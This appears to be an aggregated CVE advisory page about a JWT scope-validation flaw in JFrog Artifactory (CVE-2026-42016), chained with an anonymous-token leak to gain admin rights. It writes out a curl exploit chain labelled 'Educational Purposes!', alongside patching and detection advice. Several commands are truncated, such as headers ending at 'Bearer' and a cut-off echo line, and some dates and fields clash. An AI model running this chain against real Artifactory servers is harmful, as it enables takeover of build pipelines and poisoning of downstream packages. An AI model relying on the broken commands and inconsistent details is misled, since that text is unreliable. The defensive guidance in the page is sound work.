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CVE-2026-42016 is a high-severity privilege escalation vulnerability affecting JFrog Artifactory Self Hosted deployments running versions prior to 7.133.11. The vulnerability is classified as CWE-863 (Incorrect Authorization) and carries a CVSS 3.1 score of 8.1 with a vector string of CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N. The core issue lies in Artifactory’s token validation logic: when a JSON Web Token (JWT) is presented to the system, Artifactory correctly verifies the token’s cryptographic signature and its issuer claim, confirming that the token was legitimately generated by a trusted authority. However, the application fails to properly validate the token’s scope claim, which defines the specific permissions and access boundaries that the token is intended to grant. Because the scope check is missing or insufficient, a token that was legitimately issued for a low-privileged identity can be used to perform actions that should require administrative privileges. An attacker who has obtained any valid low-privilege token—whether through legitimate means as an authenticated low-privilege user, or by chaining this flaw with other vulnerabilities—can present that token to privileged API endpoints and have the system accept it as authoritative. The system sees a valid signature and a valid issuer, and grants access without questioning whether the token’s scope actually permits the requested operation. This flaw is remotely exploitable with low attack complexity and requires no user interaction once the attacker has low-privileged access. In observed in-the-wild exploitation, attackers chained CVE-2026-42016 with CVE-2026-42018, an improper authentication flaw that causes Artifactory to return an internal anonymous-user JWT to an unauthenticated requester even when anonymous access is disabled. The attacker first sends a request to POST /access/api/v1/aws/token/ (with a trailing slash), which returns HTTP 200 with an anonymous JWT. The attacker then submits this token to POST /access/api/v1/tokens, exploiting the scope validation flaw to receive back an administrator-scoped credential. Although the identity may still appear as token:anonymous in logs, it possesses full administrative permissions. The vulnerability was fixed in Artifactory version 7.133.11 and later. Organizations running self-hosted Artifactory instances on versions prior to 7.133.11 are urged to upgrade immediately, as 59 percent of scanned instances remained vulnerable six weeks after disclosure.
DailyCVE Form:
Platform: JFrog Artifactory
Version: before 7.133.11
Vulnerability : token scope bypass
Severity: High
date: 2026-07-27
Prediction: 2026-07-27
What Undercode Say:
Step 1: Obtain anonymous token (requires CVE-2026-42018)
curl -X POST https://target-artifactory/access/api/v1/aws/token/ \
-H “Content-Type: application/json” -d ‘{}’
Step 2: Exchange low-priv token for admin-scoped token
curl -X POST https://target-artifactory/access/api/v1/tokens \
-H “Authorization: Bearer
-H “Content-Type: application/json” \
-d ‘{“scope”: “applied-permissions/admin”}’
Step 3: Verify admin access
curl -X GET https://target-artifactory/api/system/ping \
-H “Authorization: Bearer
Decode JWT to inspect scope claim (for analysis)
echo “
Exploit: (Educational Purposes!)
The exploit chain begins by leveraging CVE-2026-42018 to obtain an anonymous-user JWT. A POST request to /access/api/v1/aws/token/ with a trailing slash returns HTTP 200 and an anonymous JWT even when anonymous access is disabled. This token has a valid signature and issuer but minimal scope. The attacker then submits this token to the token creation endpoint POST /access/api/v1/tokens. The vulnerable Artifactory instance validates the token signature and issuer, accepts the token as authentic, but fails to check the scope claim. The attacker requests a token with administrative scope and receives a valid, signed admin-scoped credential in response. With this admin token, the attacker can create persistent administrator accounts via PUT /api/security/users/
Protection: from this CVE
Upgrade JFrog Artifactory Self Hosted to version 7.133.11 or later immediately. For organizations on other release branches, JFrog has published remediated versions including 7.111.21, 7.117.28, 7.125.20, 7.133.29, 7.146.38, and 7.161.20. If immediate patching is not possible, restrict network access to Artifactory instances, limit the number of accounts that can obtain tokens, review token issuance and authorization policies, and monitor for anomalous token use or privilege changes. Rotate all tokens issued since August 28, 2026. Audit logs for suspicious token issuance, anonymous identity activity, registry join requests, newly created administrative users, and plugin deployments. Correlate successful requests to vulnerable endpoints with follow-on account creation or payload delivery. CISA added CVE-2026-82329 (a related critical flaw) to its Known Exploited Vulnerabilities catalog on September 3, 2026, demonstrating active exploitation of this vulnerability family.
Impact:
Successful exploitation allows an authenticated attacker with low privileges to escalate to full administrative control over the Artifactory instance. The documented impact is high on confidentiality and integrity, enabling unauthorized access to protected resources and unauthorized actions that should be restricted by token scope. No direct availability impact is indicated. Because Artifactory sits at the center of the CI/CD pipeline, storing binaries, container images, and packages that downstream systems trust implicitly, a compromise gives the attacker a foothold to tamper with build artifacts and distribute malicious software to every consumer of a poisoned package. Observed post-exploitation activities include creating persistent admin accounts, deploying malicious Groovy plugins for code execution, installing Rust-based backdoors, token minting, user and repository enumeration, configuration theft, and extraction of cluster join keys. Privileged actions taken with tokens derived from the anonymous identity are logged as token:anonymous, obscuring the true scope of attacker activity from defenders reviewing audit trails.
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Sources:
Reported By: www.cve.org
Extra Source Hub:
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